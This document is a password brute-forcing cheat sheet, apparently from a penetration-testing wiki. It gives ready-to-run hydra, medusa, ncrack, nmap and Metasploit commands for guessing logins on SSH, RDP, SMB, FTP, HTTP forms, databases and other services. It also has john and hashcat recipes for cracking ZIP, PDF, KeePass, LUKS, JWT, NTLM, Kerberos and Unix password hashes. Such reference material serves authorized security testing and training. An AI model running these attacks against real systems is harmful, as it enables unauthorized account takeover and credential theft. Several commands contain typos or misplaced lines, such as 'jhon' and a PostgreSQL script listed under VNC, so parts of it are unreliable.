# Brute Force - CheatSheet ## Default Credentials **Search in google** for default credentials of the technology that is being used, or **try this links**: * \*\*\*\*[**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)\*\*\*\* * \*\*\*\*[**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)\*\*\*\* * \*\*\*\*[**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)\*\*\*\* * \*\*\*\*[**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)\*\*\*\* * \*\*\*\*[**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)\*\*\*\* * \*\*\*\*[**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)\*\*\*\* * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)\*\*\*\* * \*\*\*\*[**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)\*\*\*\* * \*\*\*\*[**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com/)\*\*\*\* ## **Create your own Dictionaries** Find as much information about the target as you can and generate a custom dictionary. Tools that may help: ### Crunch ```text crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters , Upper case alpha characters % Numeric characters ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` ### Cewl ```bash cewl example.com -m 5 -w words.txt ``` ### [pydictor](https://github.com/LandGrey/pydictor) ### Wordlists * \*\*\*\*[**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)\*\*\*\* * \*\*\*\*[**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)\*\*\*\* * \*\*\*\*[**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)\*\*\*\* * \*\*\*\*[**https://github.com/google/fuzzing/tree/master/dictionaries**](%20https://github.com/google/fuzzing/tree/master/dictionaries)\*\*\*\* * \*\*\*\*[**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)\*\*\*\* ## Services Ordered alphabetically by service name. ### AFP ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login msf> set BLANK_PASSWORDS true msf> set USER_AS_PASS true msf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ```bash nmap --script ajp-brute -p 8009 ``` ### Cassandra ```bash nmap --script cassandra-brute -p 9160 ``` ### CouchDB ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### Elasticsearch ```text hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` ### HTTP Generic Brute #### [**WFuzz**](pentesting-web/web-tool-wfuzz.md)\*\*\*\* ### HTTP Basic Auth ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` ### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V ``` For http**s** you have to change from "http-post-form" to "**https-post-form"** ### **HTTP - CMS --** \(W\)ordpress, \(J\)oomla or \(D\)rupal or \(M\)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` ### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p ``` ### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### LDAP ```bash nmap --script ldap-brute -p 389 ``` ### Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` ### MySQL ```bash hydra -L usernames.txt -P pass.txt mysql msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false ``` ### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID ./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1 msf> use admin/oracle/oracle_login msf> set RHOSTS msf> set RPORT 1521 msf> set SID #msf2, this option uses nmap and it fails sometimes for some reason msf> use scanner/oracle/oracle_login msf> set RHOSTS msf> set RPORTS 1521 msf> set SID #nmap fails sometimes for some reson executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` In order to use **oracle\_login** with **patator** you need to **install**: ```bash pip3 install cx_Oracle --upgrade ``` [Offline OracleSQL hash bruteforce](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) \(**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**\): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` ### PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432 patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ### PPTP You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// ``` ### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis ``` ### Rexec ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` ### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` ### SQL Server ```bash #Use the NetBIOS name of the machine as domain hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be carefull with the number of password in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh ``` ### Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` ### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` ### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` ## Local ### Online cracking databases * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) \(MD5 & SHA1\) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/) \(Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...\) * [https://crackstation.net/](https://crackstation.net/) \(Hashes\) * [https://md5decrypt.net/](https://md5decrypt.net/) \(MD5\) * [https://gpuhash.me/](https://gpuhash.me/) \(Hashes and file hashes\) * [https://hashes.org/search.php](https://hashes.org/search.php) \(Hashes\) * [https://www.cmd5.org/](https://www.cmd5.org/) \(Hashes\) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) \(MD5, NTLM, SHA1, MySQL5, SHA256, SHA512\) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) \(MD5\) Check this out before trying to bruteforce a Hash. ### ZIP ```bash fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ```bash zip2john file.zip > zip.john john zip.john ``` ### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ```bash #Download and install requirements for 7z2john wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` ### PDF ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt #pdf2john didnt worked well, john didnt know which hash type was # To permanently decrypt the pdf sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### JWT ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack #Bruteforce using crackjwt.py python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` ### NTLM cracking ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password keepass2john -k file.kdbx > hash # The keepas is also using a file as a needed credential #The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Lucks image #### Method 1 Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` #### Method 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 hashcat -m 14600 luckshash cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` ### Mysql ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` ## Tools **Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier ```bash hash-identifier > ``` ### John mutation Read _**/etc/john/john.conf**_ and configure it ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` Cracking Linux Hashes - /etc/shadow file ```text 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` Cracking Windows Hashes ```text 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` Cracking Common Application Hashes ```text 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ```